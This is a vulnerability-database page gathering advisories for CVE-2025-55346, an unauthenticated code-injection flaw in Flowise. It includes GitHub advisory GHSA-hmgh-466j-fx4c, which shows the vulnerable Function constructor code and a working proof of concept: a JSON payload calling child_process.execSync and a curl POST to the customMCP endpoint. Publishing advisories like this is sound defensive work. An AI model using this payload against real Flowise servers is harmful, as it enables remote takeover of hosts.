Vulnerability-Lookup

CVE-2025-55346 (GCVE-0-2025-55346)

Vulnerability from cvelistv5 – Published: 2025-08-14 09:49 – Updated: 2025-08-14 15:44

Previdian

Title

Unintended dynamic code execution leads to remote code execution by network attackers

Summary

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-08-14 15:43 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

JFROG mitre root Scorecard

References

1 reference

URL	Tags
https://research.jfrog.com/vulnerabilities/flowis…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
		Affected: 0 (semver)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: ac5fc5e0-cfdc-4de5-84bd-a99d0eb6cb51

Vulnerability ID: CVE-2025-55346

Status: Confirmed

Status Updated: 2026-06-01 02:00 CEST

Exploited: Yes

Timestamps

First Seen: 2026-06-01

Asserted: 2026-06-01

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	Unintended dynamic code execution leads to remote code execution by network attackers
Cve Id	CVE-2025-55346
Vendor	Flowise
Ghsa Id	GHSA-HMGH-466J-FX4C
Product	Flowise
Added Date	2026-06-01T00:00:00.000Z
Cvss Score	9.8
Epss Score	0.21953
Previous Ids
Cvss Severity	CRITICAL
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.9759
Used In Malware	unknown
Vulnerability Id	CVE-2025-55346
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-10-02 09:09 CEST | Updated: 2026-10-02 09:09 CEST

Show details on NVD website

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EUVD-2026-249826

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 06:57

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T06:57:20.453214+00:00",
  "id": "EUVD-2026-249826"
}

FKIE_CVE-2025-55346

Vulnerability from fkie_nvd - Published: 2025-08-14 10:15 - Updated: 2026-06-17 09:41

Previdian

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	reefs@jfrog.com	https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://www.npmjs.com",
          "packageName": "flowise",
          "versions": [
            {
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "reefs@jfrog.com"
    }
  ],
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      "lang": "es",
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    }
  ],
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  "lastModified": "2026-06-17T09:41:42.307",
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GHSA-HMGH-466J-FX4C

Vulnerability from github – Published: 2025-10-06 14:08 – Updated: 2025-10-06 14:08

Summary

Flowise vulnerable to RCE via Dynamic function constructor injection

Details

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
    "command": "npx",
    "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"

...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}

Send the following curl request using the payload.json file created above with the following command:

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

Observe that a new file named yofitofi is created under /tmp folder.

Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7-patch.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-627",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-06T14:08:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error(\u0027MCP Server Config is required\u0027)\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === \u0027object\u0027) {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === \u0027string\u0027) {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, \u0027stdio\u0027)\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function(\u0027return \u0027 + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error(\u0027Error converting to JSON:\u0027, error)\n        return \u0027\u0027\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "id": "GHSA-hmgh-466j-fx4c",
  "modified": "2025-10-06T14:08:45Z",
  "published": "2025-10-06T14:08:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise vulnerable to RCE via Dynamic function constructor injection"
}

WID-SEC-W-2025-1836

Vulnerability from csaf_certbund - Published: 2025-08-13 22:00 - Updated: 2025-08-14 22:00

Summary

Flowise: Mehrere Schwachstellen ermöglichen Codeausführung

Severity

Kritisch

Scope

2 vulnerabilities in this advisory, including CVE-2025-55346.

CVE-2025-55346

Known affected: 1 product

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-55346 (GCVE-0-2025-55346)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: previdian

Details

References

EUVD-2026-249826

FKIE_CVE-2025-55346

GHSA-HMGH-466J-FX4C

Summary

Details

PoC

Impact

Credit

WID-SEC-W-2025-1836

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